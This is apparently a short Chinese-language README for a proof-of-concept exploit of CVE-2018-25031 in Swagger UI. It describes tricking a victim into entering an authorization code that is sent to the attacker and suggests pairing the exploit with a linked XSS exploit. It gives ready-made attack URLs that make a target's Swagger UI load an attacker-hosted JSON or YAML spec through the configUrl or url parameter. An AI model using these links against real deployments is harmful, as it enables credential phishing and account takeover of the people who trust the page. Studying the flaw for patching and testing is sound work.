一个简单的概念验证(CVE-2018-25031),诱使受害者输入授权码,然后该授权码被发送给攻击者。
你可以结合 XSS 漏洞 https://github.com/VictorNS69/swagger-ui-xss 使用它。
需要找到参数并指定正确的文件:对于 configUrl,是 JSON 文件;对于 url,是 YAML 文件。
https://<URL>/?configUrl=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.json
https://<URL>/?url=https://raw.githubusercontent.com/geozin/POC-CVE-2018-25031/main/doc.yaml
https://nvd.nist.gov/vuln/detail/CVE-2018-25031
https://github.com/mathis2001/CVE-2018-25031